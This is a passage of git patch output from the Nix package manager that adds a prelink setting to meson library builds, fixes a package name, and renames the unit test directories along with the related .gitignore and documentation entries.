src/libexpr-c/meson.build | 1 + src/libexpr-test-support/meson.build | 1 + src/libexpr/meson.build | 1 + src/libfetchers/meson.build | 1 + src/libflake/meson.build | 1 + src/libstore-c/meson.build | 1 + src/libstore-test-support/meson.build | 1 + src/libstore/meson.build | 1 + src/libutil-c/meson.build | 1 + src/libutil-test-support/meson.build | 1 + src/libutil/meson.build | 1 + src/perl/lib/Nix/meson.build | 1 + 12 files changed, 12 insertions(+) diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index fa970c3a2..fb9ade28d 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -80,6 +80,7 @@ this_library = library( dependencies : deps_public + deps_private + deps_other, include_directories : include_dirs, link_args: linker_export_flags, + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build index d42b0532b..705672204 100644 --- a/src/libexpr-test-support/meson.build +++ b/src/libexpr-test-support/meson.build @@ -63,6 +63,7 @@ this_library = library( # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 # is available. See also ../libutil/build.meson link_args: linker_export_flags + ['-lrapidcheck'], + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 04822d179..9fe7c17c4 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -193,6 +193,7 @@ this_library = library( lexer_tab, generated_headers, dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index d5703bbb3..c39fe99f3 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -82,6 +82,7 @@ this_library = library( 'nixfetchers', sources, dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libflake/meson.build b/src/libflake/meson.build index 30f98dce6..d3c3d3079 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -64,6 +64,7 @@ this_library = library( 'nixflake', sources, dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index 93ce97960..426f07a34 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -72,6 +72,7 @@ this_library = library( dependencies : deps_public + deps_private + deps_other, include_directories : include_dirs, link_args: linker_export_flags, + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build index e278bd3f8..ddb067c1b 100644 --- a/src/libstore-test-support/meson.build +++ b/src/libstore-test-support/meson.build @@ -65,6 +65,7 @@ this_library = library( # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 # is available. See also ../libutil/build.meson link_args: linker_export_flags + ['-lrapidcheck'], + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 0686a591e..f94a454da 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -396,6 +396,7 @@ this_library = library( include_directories : include_dirs, cpp_args : cpp_args, link_args: linker_export_flags, + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index 2fa1bd424..3f0d96282 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -68,6 +68,7 @@ this_library = library( dependencies : deps_public + deps_private + deps_other, include_directories : include_dirs, link_args: linker_export_flags, + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build index a36aa2a00..7d0e9c2fc 100644 --- a/src/libutil-test-support/meson.build +++ b/src/libutil-test-support/meson.build @@ -59,6 +59,7 @@ this_library = library( # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326 # is available. See also ../libutil/build.meson link_args: linker_export_flags + ['-lrapidcheck'], + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/libutil/meson.build b/src/libutil/meson.build index c87808067..ac2b83536 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -249,6 +249,7 @@ this_library = library( dependencies : deps_public + deps_private + deps_other, include_directories : include_dirs, link_args: linker_export_flags, + prelink : true, # For C++ static initializers install : true, ) diff --git a/src/perl/lib/Nix/meson.build b/src/perl/lib/Nix/meson.build index 9a79245cd..256e66096 100644 --- a/src/perl/lib/Nix/meson.build +++ b/src/perl/lib/Nix/meson.build @@ -43,6 +43,7 @@ nix_perl_store_lib = library( 'Store', sources : nix_perl_store_cc, name_prefix : '', + prelink : true, # For C++ static initializers install : true, install_mode : 'rwxr-xr-x', install_dir : join_paths(nix_perl_install_dir, 'auto', 'Nix', 'Store'), From 3ad39d2afb50e42c6479c4007da10fde9262cc68 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 28 Jun 2024 17:17:20 -0400 Subject: [PATCH 0966/1251] Fix library name --- src/libfetchers/package.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix index 0146f5aa5..681ffa112 100644 --- a/src/libfetchers/package.nix +++ b/src/libfetchers/package.nix @@ -38,7 +38,7 @@ let in mkDerivation (finalAttrs: { - pname = "nix-flake"; + pname = "nix-fetchers"; inherit version; src = fileset.toSource { From 496b4a9cd2d097569ab52804559355f014fee2e3 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 29 Jun 2024 10:31:08 -0400 Subject: [PATCH 0967/1251] Move around unit test dirs to match new names --- .gitignore | 10 +- doc/manual/src/contributing/testing.md | 4 +- maintainers/flake-module.nix | 120 +++++++++--------- meson.build | 16 +-- packaging/components.nix | 16 +-- packaging/hydra.nix | 10 +- src/internal-api-docs/doxygen.cfg.in | 16 +-- .../.version | 0 .../build-utils-meson | 0 .../meson.build | 0 .../package.nix | 0 .../tests/libexpr.hh | 0 .../tests/nix_api_expr.hh | 0 .../tests/value/context.cc | 0 .../tests/value/context.hh | 0 src/{libexpr-test => nix-expr-tests}/.version | 0 .../build-utils-meson | 0 .../data/.gitkeep | 0 .../derived-path.cc | 0 .../error_traces.cc | 0 src/{libexpr-test => nix-expr-tests}/eval.cc | 0 src/{libexpr-test => nix-expr-tests}/json.cc | 0 src/{libexpr-test => nix-expr-tests}/main.cc | 0 .../meson.build | 2 +- .../nix_api_expr.cc | 0 .../nix_api_external.cc | 0 .../nix_api_value.cc | 0 .../package.nix | 4 +- .../primops.cc | 0 .../search-path.cc | 0 .../trivial.cc | 0 .../value/context.cc | 0 .../value/print.cc | 0 .../value/value.cc | 0 .../.version | 0 .../build-utils-meson | 0 .../data/public-key/defaultType.json | 0 .../data/public-key/noRoundTrip.json | 0 .../data/public-key/simple.json | 0 .../meson.build | 2 +- .../package.nix | 4 +- .../public-key.cc | 0 .../.version | 0 .../build-utils-meson | 0 .../data/.gitkeep | 0 .../flakeref.cc | 0 .../meson.build | 2 +- .../package.nix | 4 +- .../url-name.cc | 0 .../.version | 0 .../build-utils-meson | 0 .../meson.build | 0 .../package.nix | 0 .../tests/derived-path.cc | 0 .../tests/derived-path.hh | 0 .../tests/libstore.hh | 0 .../tests/nix_api_store.hh | 0 .../tests/outputs-spec.cc | 0 .../tests/outputs-spec.hh | 0 .../tests/path.cc | 0 .../tests/path.hh | 0 .../tests/protocol.hh | 0 .../.version | 0 .../build-utils-meson | 0 .../common-protocol.cc | 0 .../content-address.cc | 0 .../data/common-protocol/content-address.bin | Bin .../data/common-protocol/drv-output.bin | Bin .../optional-content-address.bin | Bin .../common-protocol/optional-store-path.bin | Bin .../data/common-protocol/realisation.bin | Bin .../data/common-protocol/set.bin | Bin .../data/common-protocol/store-path.bin | Bin .../data/common-protocol/string.bin | Bin .../data/common-protocol/vector.bin | Bin .../advanced-attributes-defaults.drv | 0 .../advanced-attributes-defaults.json | 0 ...d-attributes-structured-attrs-defaults.drv | 0 ...-attributes-structured-attrs-defaults.json | 0 .../advanced-attributes-structured-attrs.drv | 0 .../advanced-attributes-structured-attrs.json | 0 .../data/derivation/advanced-attributes.drv | 0 .../derivation/bad-old-version-dyn-deps.drv | 0 .../data/derivation/bad-version.drv | 0 .../data/derivation/dynDerivationDeps.drv | 0 .../data/derivation/dynDerivationDeps.json | 0 .../data/derivation/output-caFixedFlat.json | 0 .../data/derivation/output-caFixedNAR.json | 0 .../data/derivation/output-caFixedText.json | 0 .../data/derivation/output-caFloating.json | 0 .../data/derivation/output-deferred.json | 0 .../data/derivation/output-impure.json | 0 .../derivation/output-inputAddressed.json | 0 .../data/derivation/simple.drv | 0 .../data/derivation/simple.json | 0 .../data/machines/bad_format | 0 .../data/machines/valid | 0 .../data/nar-info/impure.json | 0 .../data/nar-info/pure.json | 0 .../data/path-info/empty_impure.json | 0 .../data/path-info/empty_pure.json | 0 .../data/path-info/impure.json | 0 .../data/path-info/pure.json | 0 .../data/serve-protocol/build-options-2.1.bin | Bin .../data/serve-protocol/build-options-2.2.bin | Bin .../data/serve-protocol/build-options-2.3.bin | Bin .../data/serve-protocol/build-options-2.7.bin | Bin .../data/serve-protocol/build-result-2.2.bin | Bin .../data/serve-protocol/build-result-2.3.bin | Bin .../data/serve-protocol/build-result-2.6.bin | Bin .../data/serve-protocol/content-address.bin | Bin .../data/serve-protocol/drv-output.bin | Bin .../serve-protocol/handshake-to-client.bin | Bin .../optional-content-address.bin | Bin .../serve-protocol/optional-store-path.bin | Bin .../data/serve-protocol/realisation.bin | Bin .../data/serve-protocol/set.bin | Bin .../data/serve-protocol/store-path.bin | Bin .../data/serve-protocol/string.bin | Bin .../unkeyed-valid-path-info-2.3.bin | Bin .../unkeyed-valid-path-info-2.4.bin | Bin .../data/serve-protocol/vector.bin | Bin .../data/store-reference/auto.txt | 0 .../data/store-reference/auto_param.txt | 0 .../data/store-reference/local_1.txt | 0 .../data/store-reference/local_2.txt | 0 .../store-reference/local_shorthand_1.txt | 0 .../store-reference/local_shorthand_2.txt | 0 .../data/store-reference/ssh.txt | 0 .../data/store-reference/unix.txt | 0 .../data/store-reference/unix_shorthand.txt | 0 .../data/worker-protocol/build-mode.bin | Bin .../worker-protocol/build-result-1.27.bin | Bin .../worker-protocol/build-result-1.28.bin | Bin .../worker-protocol/build-result-1.29.bin | Bin .../worker-protocol/build-result-1.37.bin | Bin .../client-handshake-info_1_30.bin | 0 .../client-handshake-info_1_33.bin | Bin .../client-handshake-info_1_35.bin | Bin .../data/worker-protocol/content-address.bin | Bin .../worker-protocol/derived-path-1.29.bin | Bin .../worker-protocol/derived-path-1.30.bin | Bin .../data/worker-protocol/drv-output.bin | Bin .../worker-protocol/handshake-to-client.bin | Bin .../keyed-build-result-1.29.bin | Bin .../optional-content-address.bin | Bin .../worker-protocol/optional-store-path.bin | Bin .../worker-protocol/optional-trusted-flag.bin | Bin .../data/worker-protocol/realisation.bin | Bin .../data/worker-protocol/set.bin | Bin .../data/worker-protocol/store-path.bin | Bin .../data/worker-protocol/string.bin | Bin .../unkeyed-valid-path-info-1.15.bin | Bin .../worker-protocol/valid-path-info-1.15.bin | Bin .../worker-protocol/valid-path-info-1.16.bin | Bin .../data/worker-protocol/vector.bin | Bin .../derivation-advanced-attrs.cc | 0 .../derivation.cc | 0 .../derived-path.cc | 0 .../downstream-placeholder.cc | 0 .../machines.cc | 0 .../meson.build | 2 +- .../nar-info-disk-cache.cc | 0 .../nar-info.cc | 0 .../nix_api_store.cc | 0 .../outputs-spec.cc | 0 .../package.nix | 4 +- .../path-info.cc | 0 .../path.cc | 0 .../references.cc | 0 .../serve-protocol.cc | 0 .../store-reference.cc | 0 .../worker-protocol.cc | 0 .../.version | 0 .../build-utils-meson | 0 .../meson.build | 0 .../package.nix | 0 .../tests/characterization.hh | 0 .../tests/hash.cc | 0 .../tests/hash.hh | 0 .../tests/nix_api_util.hh | 0 .../tests/string_callback.cc | 0 .../tests/string_callback.hh | 0 src/{libutil-test => nix-util-tests}/.version | 0 src/{libutil-test => nix-util-tests}/args.cc | 0 .../build-utils-meson | 0 .../canon-path.cc | 0 .../chunked-vector.cc | 0 .../closure.cc | 0 .../compression.cc | 0 .../config.cc | 0 .../data/git/check-data.sh | 0 .../data/git/hello-world-blob.bin | Bin .../data/git/hello-world.bin | Bin .../data/git/tree.bin | Bin .../data/git/tree.txt | 0 .../file-content-address.cc | 0 src/{libutil-test => nix-util-tests}/git.cc | 2 +- src/{libutil-test => nix-util-tests}/hash.cc | 0 .../hilite.cc | 0 .../json-utils.cc | 0 .../logging.cc | 0 .../lru-cache.cc | 0 .../meson.build | 2 +- .../nix_api_util.cc | 0 .../package.nix | 4 +- src/{libutil-test => nix-util-tests}/pool.cc | 0 .../references.cc | 0 src/{libutil-test => nix-util-tests}/spawn.cc | 0 .../suggestions.cc | 0 src/{libutil-test => nix-util-tests}/tests.cc | 0 src/{libutil-test => nix-util-tests}/url.cc | 0 .../xml-writer.cc | 0 213 files changed, 112 insertions(+), 112 deletions(-) rename src/{libexpr-test-support => nix-expr-test-support}/.version (100%) rename src/{libexpr-test-support => nix-expr-test-support}/build-utils-meson (100%) rename src/{libexpr-test-support => nix-expr-test-support}/meson.build (100%) rename src/{libexpr-test-support => nix-expr-test-support}/package.nix (100%) rename src/{libexpr-test-support => nix-expr-test-support}/tests/libexpr.hh (100%) rename src/{libexpr-test-support => nix-expr-test-support}/tests/nix_api_expr.hh (100%) rename src/{libexpr-test-support => nix-expr-test-support}/tests/value/context.cc (100%) rename src/{libexpr-test-support => nix-expr-test-support}/tests/value/context.hh (100%) rename src/{libexpr-test => nix-expr-tests}/.version (100%) rename src/{libexpr-test => nix-expr-tests}/build-utils-meson (100%) rename src/{libexpr-test => nix-expr-tests}/data/.gitkeep (100%) rename src/{libexpr-test => nix-expr-tests}/derived-path.cc (100%) rename src/{libexpr-test => nix-expr-tests}/error_traces.cc (100%) rename src/{libexpr-test => nix-expr-tests}/eval.cc (100%) rename src/{libexpr-test => nix-expr-tests}/json.cc (100%) rename src/{libexpr-test => nix-expr-tests}/main.cc (100%) rename src/{libexpr-test => nix-expr-tests}/meson.build (98%) rename src/{libexpr-test => nix-expr-tests}/nix_api_expr.cc (100%) rename src/{libexpr-test => nix-expr-tests}/nix_api_external.cc (100%) rename src/{libexpr-test => nix-expr-tests}/nix_api_value.cc (100%) rename src/{libexpr-test => nix-expr-tests}/package.nix (97%) rename src/{libexpr-test => nix-expr-tests}/primops.cc (100%) rename src/{libexpr-test => nix-expr-tests}/search-path.cc (100%) rename src/{libexpr-test => nix-expr-tests}/trivial.cc (100%) rename src/{libexpr-test => nix-expr-tests}/value/context.cc (100%) rename src/{libexpr-test => nix-expr-tests}/value/print.cc (100%) rename src/{libexpr-test => nix-expr-tests}/value/value.cc (100%) rename src/{libfetchers-test => nix-fetchers-tests}/.version (100%) rename src/{libfetchers-test => nix-fetchers-tests}/build-utils-meson (100%) rename src/{libfetchers-test => nix-fetchers-tests}/data/public-key/defaultType.json (100%) rename src/{libfetchers-test => nix-fetchers-tests}/data/public-key/noRoundTrip.json (100%) rename src/{libfetchers-test => nix-fetchers-tests}/data/public-key/simple.json (100%) rename src/{libfetchers-test => nix-fetchers-tests}/meson.build (97%) rename src/{libfetchers-test => nix-fetchers-tests}/package.nix (97%) rename src/{libfetchers-test => nix-fetchers-tests}/public-key.cc (100%) rename src/{libflake-test => nix-flake-tests}/.version (100%) rename src/{libflake-test => nix-flake-tests}/build-utils-meson (100%) rename src/{libflake-test => nix-flake-tests}/data/.gitkeep (100%) rename src/{libflake-test => nix-flake-tests}/flakeref.cc (100%) rename src/{libflake-test => nix-flake-tests}/meson.build (97%) rename src/{libflake-test => nix-flake-tests}/package.nix (97%) rename src/{libflake-test => nix-flake-tests}/url-name.cc (100%) rename src/{libstore-test-support => nix-store-test-support}/.version (100%) rename src/{libstore-test-support => nix-store-test-support}/build-utils-meson (100%) rename src/{libstore-test-support => nix-store-test-support}/meson.build (100%) rename src/{libstore-test-support => nix-store-test-support}/package.nix (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/derived-path.cc (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/derived-path.hh (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/libstore.hh (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/nix_api_store.hh (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/outputs-spec.cc (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/outputs-spec.hh (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/path.cc (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/path.hh (100%) rename src/{libstore-test-support => nix-store-test-support}/tests/protocol.hh (100%) rename src/{libstore-test => nix-store-tests}/.version (100%) rename src/{libstore-test => nix-store-tests}/build-utils-meson (100%) rename src/{libstore-test => nix-store-tests}/common-protocol.cc (100%) rename src/{libstore-test => nix-store-tests}/content-address.cc (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/content-address.bin (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/drv-output.bin (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/optional-content-address.bin (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/optional-store-path.bin (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/realisation.bin (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/set.bin (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/store-path.bin (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/string.bin (100%) rename src/{libstore-test => nix-store-tests}/data/common-protocol/vector.bin (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-defaults.drv (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-defaults.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-structured-attrs-defaults.drv (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-structured-attrs-defaults.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-structured-attrs.drv (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes-structured-attrs.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/advanced-attributes.drv (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/bad-old-version-dyn-deps.drv (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/bad-version.drv (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/dynDerivationDeps.drv (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/dynDerivationDeps.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/output-caFixedFlat.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/output-caFixedNAR.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/output-caFixedText.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/output-caFloating.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/output-deferred.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/output-impure.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/output-inputAddressed.json (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/simple.drv (100%) rename src/{libstore-test => nix-store-tests}/data/derivation/simple.json (100%) rename src/{libstore-test => nix-store-tests}/data/machines/bad_format (100%) rename src/{libstore-test => nix-store-tests}/data/machines/valid (100%) rename src/{libstore-test => nix-store-tests}/data/nar-info/impure.json (100%) rename src/{libstore-test => nix-store-tests}/data/nar-info/pure.json (100%) rename src/{libstore-test => nix-store-tests}/data/path-info/empty_impure.json (100%) rename src/{libstore-test => nix-store-tests}/data/path-info/empty_pure.json (100%) rename src/{libstore-test => nix-store-tests}/data/path-info/impure.json (100%) rename src/{libstore-test => nix-store-tests}/data/path-info/pure.json (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-options-2.1.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-options-2.2.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-options-2.3.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-options-2.7.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-result-2.2.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-result-2.3.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/build-result-2.6.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/content-address.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/drv-output.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/handshake-to-client.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/optional-content-address.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/optional-store-path.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/realisation.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/set.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/store-path.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/string.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/unkeyed-valid-path-info-2.3.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/unkeyed-valid-path-info-2.4.bin (100%) rename src/{libstore-test => nix-store-tests}/data/serve-protocol/vector.bin (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/auto.txt (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/auto_param.txt (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/local_1.txt (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/local_2.txt (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/local_shorthand_1.txt (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/local_shorthand_2.txt (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/ssh.txt (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/unix.txt (100%) rename src/{libstore-test => nix-store-tests}/data/store-reference/unix_shorthand.txt (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-mode.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-result-1.27.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-result-1.28.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-result-1.29.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/build-result-1.37.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/client-handshake-info_1_30.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/client-handshake-info_1_33.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/client-handshake-info_1_35.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/content-address.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/derived-path-1.29.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/derived-path-1.30.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/drv-output.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/handshake-to-client.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/keyed-build-result-1.29.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/optional-content-address.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/optional-store-path.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/optional-trusted-flag.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/realisation.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/set.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/store-path.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/string.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/unkeyed-valid-path-info-1.15.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/valid-path-info-1.15.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/valid-path-info-1.16.bin (100%) rename src/{libstore-test => nix-store-tests}/data/worker-protocol/vector.bin (100%) rename src/{libstore-test => nix-store-tests}/derivation-advanced-attrs.cc (100%) rename src/{libstore-test => nix-store-tests}/derivation.cc (100%) rename src/{libstore-test => nix-store-tests}/derived-path.cc (100%) rename src/{libstore-test => nix-store-tests}/downstream-placeholder.cc (100%) rename src/{libstore-test => nix-store-tests}/machines.cc (100%) rename src/{libstore-test => nix-store-tests}/meson.build (98%) rename src/{libstore-test => nix-store-tests}/nar-info-disk-cache.cc (100%) rename src/{libstore-test => nix-store-tests}/nar-info.cc (100%) rename src/{libstore-test => nix-store-tests}/nix_api_store.cc (100%) rename src/{libstore-test => nix-store-tests}/outputs-spec.cc (100%) rename src/{libstore-test => nix-store-tests}/package.nix (98%) rename src/{libstore-test => nix-store-tests}/path-info.cc (100%) rename src/{libstore-test => nix-store-tests}/path.cc (100%) rename src/{libstore-test => nix-store-tests}/references.cc (100%) rename src/{libstore-test => nix-store-tests}/serve-protocol.cc (100%) rename src/{libstore-test => nix-store-tests}/store-reference.cc (100%) rename src/{libstore-test => nix-store-tests}/worker-protocol.cc (100%) rename src/{libutil-test-support => nix-util-test-support}/.version (100%) rename src/{libutil-test-support => nix-util-test-support}/build-utils-meson (100%) rename src/{libutil-test-support => nix-util-test-support}/meson.build (100%) rename src/{libutil-test-support => nix-util-test-support}/package.nix (100%) rename src/{libutil-test-support => nix-util-test-support}/tests/characterization.hh (100%) rename src/{libutil-test-support => nix-util-test-support}/tests/hash.cc (100%) rename src/{libutil-test-support => nix-util-test-support}/tests/hash.hh (100%) rename src/{libutil-test-support => nix-util-test-support}/tests/nix_api_util.hh (100%) rename src/{libutil-test-support => nix-util-test-support}/tests/string_callback.cc (100%) rename src/{libutil-test-support => nix-util-test-support}/tests/string_callback.hh (100%) rename src/{libutil-test => nix-util-tests}/.version (100%) rename src/{libutil-test => nix-util-tests}/args.cc (100%) rename src/{libutil-test => nix-util-tests}/build-utils-meson (100%) rename src/{libutil-test => nix-util-tests}/canon-path.cc (100%) rename src/{libutil-test => nix-util-tests}/chunked-vector.cc (100%) rename src/{libutil-test => nix-util-tests}/closure.cc (100%) rename src/{libutil-test => nix-util-tests}/compression.cc (100%) rename src/{libutil-test => nix-util-tests}/config.cc (100%) rename src/{libutil-test => nix-util-tests}/data/git/check-data.sh (100%) rename src/{libutil-test => nix-util-tests}/data/git/hello-world-blob.bin (100%) rename src/{libutil-test => nix-util-tests}/data/git/hello-world.bin (100%) rename src/{libutil-test => nix-util-tests}/data/git/tree.bin (100%) rename src/{libutil-test => nix-util-tests}/data/git/tree.txt (100%) rename src/{libutil-test => nix-util-tests}/file-content-address.cc (100%) rename src/{libutil-test => nix-util-tests}/git.cc (99%) rename src/{libutil-test => nix-util-tests}/hash.cc (100%) rename src/{libutil-test => nix-util-tests}/hilite.cc (100%) rename src/{libutil-test => nix-util-tests}/json-utils.cc (100%) rename src/{libutil-test => nix-util-tests}/logging.cc (100%) rename src/{libutil-test => nix-util-tests}/lru-cache.cc (100%) rename src/{libutil-test => nix-util-tests}/meson.build (98%) rename src/{libutil-test => nix-util-tests}/nix_api_util.cc (100%) rename src/{libutil-test => nix-util-tests}/package.nix (97%) rename src/{libutil-test => nix-util-tests}/pool.cc (100%) rename src/{libutil-test => nix-util-tests}/references.cc (100%) rename src/{libutil-test => nix-util-tests}/spawn.cc (100%) rename src/{libutil-test => nix-util-tests}/suggestions.cc (100%) rename src/{libutil-test => nix-util-tests}/tests.cc (100%) rename src/{libutil-test => nix-util-tests}/url.cc (100%) rename src/{libutil-test => nix-util-tests}/xml-writer.cc (100%) diff --git a/.gitignore b/.gitignore index 838cac335..fdfd744e5 100644 --- a/.gitignore +++ b/.gitignore @@ -49,22 +49,22 @@ perl/Makefile.config /src/libexpr/parser-tab.output /src/libexpr/nix.tbl /src/libexpr/tests -/src/libexpr-test/libnixexpr-tests +/src/nix-expr-tests/libnixexpr-tests # /src/libfetchers -/src/libfetchers-test/libnixfetchers-tests +/src/nix-fetchers-tests/libnixfetchers-tests # /src/libflake -/src/libflake-test/libnixflake-tests +/src/nix-flake-tests/libnixflake-tests # /src/libstore/ *.gen.* /src/libstore/tests -/src/libstore-test/libnixstore-tests +/src/nix-store-tests/libnixstore-tests # /src/libutil/ /src/libutil/tests -/src/libutil-test/libnixutil-tests +/src/nix-util-tests/libnixutil-tests /src/nix/nix diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md index ed9c25f7a..399174de5 100644 --- a/doc/manual/src/contributing/testing.md +++ b/doc/manual/src/contributing/testing.md @@ -60,10 +60,10 @@ The unit tests are defined using the [googletest] and [rapidcheck] frameworks. > ``` The tests for each Nix library (`libnixexpr`, `libnixstore`, etc..) live inside a directory `src/${library_name_without-nix}-test`. -Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `src/libexpr-test/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `src/libexpr-test-support/tests/value/context.{hh,cc}`. +Given an interface (header) and implementation pair in the original library, say, `src/libexpr/value/context.{hh,cc}`, we write tests for it in `src/nix-expr-tests/value/context.cc`, and (possibly) declare/define additional interfaces for testing purposes in `src/nix-expr-test-support/tests/value/context.{hh,cc}`. Data for unit tests is stored in a `data` subdir of the directory for each unit test executable. -For example, `libnixstore` code is in `src/libstore`, and its test data is in `src/libstore-test/data`. +For example, `libnixstore` code is in `src/libstore`, and its test data is in `src/nix-store-tests/data`. The path to the `src/${library_name_without-nix}-test/data` directory is passed to the unit test executable with the environment variable 